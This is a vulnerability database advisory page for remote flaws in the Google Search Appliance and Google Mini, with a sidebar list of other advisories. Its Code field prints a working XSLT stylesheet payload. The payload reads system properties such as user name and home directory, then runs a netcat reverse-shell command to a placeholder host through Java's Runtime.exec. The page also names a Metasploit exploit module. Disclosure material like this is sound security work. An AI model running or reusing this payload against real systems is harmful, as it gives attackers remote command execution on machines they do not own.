exploits , vulnerabilities , articles , Google Search Appliance ProxyStyleSheet Multiple Remote Vulnerabilities

Title	Google Search Appliance ProxyStyleSheet Multiple Remote Vulnerabilities
Published	2005-11-21-12:00AM
Updated	2005-11-21-06:45PM
Class	Design Error
CVE	CVE-MAP-NOMATCH
Remote	Yes
Local	No
Credit	H D Moore <hdm@metasploit.com> is credited with the discovery of these issues.
Vulnerable	Google Search Appliance Google Mini Search Appliance
Not Vulnerable
Code	An exploit is not required to leverage these issues. An example style sheet sufficient to execute commands has been provided: <xsl:template name="my_page_footer" xmlns:sys="http://www.oracle.com/XSL/Transform/java/java.lang.System" xmlns:run="http://www.oracle.com/XSL/Transform/java/java.lang.Runtime" > <!-- Google Mini XSLT Code Execution [metasploit] --> XSLT Version: <xsl:value-of select="system-property('xsl:version')"/> <br /> XSLT Vendor: <xsl:value-of select="system-property('xsl:vendor')" /> <br /> XSLT URL: <xsl:value-of select="system-property('xsl:vendor-url')" /> <br /> OS: <xsl:value-of select="sys:getProperty('os.name')" /> <br /> Version: <xsl:value-of select="sys:getProperty('os.version')" /> <br /> Arch: <xsl:value-of select="sys:getProperty('os.arch')" /> <br /> UserName: <xsl:value-of select="sys:getProperty('user.name')" /> <br /> UserHome: <xsl:value-of select="sys:getProperty('user.home')" /> <br /> UserDir: <xsl:value-of select="sys:getProperty('user.dir')" /> <br /> Executing command...<br /> <xsl:value-of select="run:exec(run:getRuntime(), 'sh -c nc${IFS}255.255.255.255${IFS}53\|sh\|nc${IFS}255.255.255.255${IFS}53')" /> </span> </xsl:template> An exploit for the Metasploit Framework is also available: /data/vulnerabilities/exploits/google_proxystylesheet_exec.pm
TXT

Vulnerabilities - newest 10 RSS | More

2009-12-19 Serv-U File Server User Directory Information Disclosure Vulnerability
2009-12-18 ReVou Comment Field HTML Injection Vulnerability
2009-12-18 Adobe Flash Media Server Resource Exhaustion Remote Denial of Service Vulnerability
2009-12-18 Centreon Authentication Mechanism Security Bypass Vulnerability
2009-12-18 Family Connections Multiple Input Validation Vulnerabilities
2009-12-18 Drupal Contact and Menu Modules Multiple HTML Injection Vulnerabilities
2009-12-18 Mozilla Firefox and SeaMonkey NTLM Credential Reflection Authentication Bypass Vulnerability
2009-12-18 Mozilla Firefox CVE-2009-3982 JavaScript Engine Multiple Remote Memory Corruption Vulnerabilities
2009-12-17 Zen Cart Insecure File and Programs Information Disclosure and Database Deletion Vulnerability
2009-12-17 Winamp Module Decoder Plugin Multiple Buffer Overflow Vulnerabilities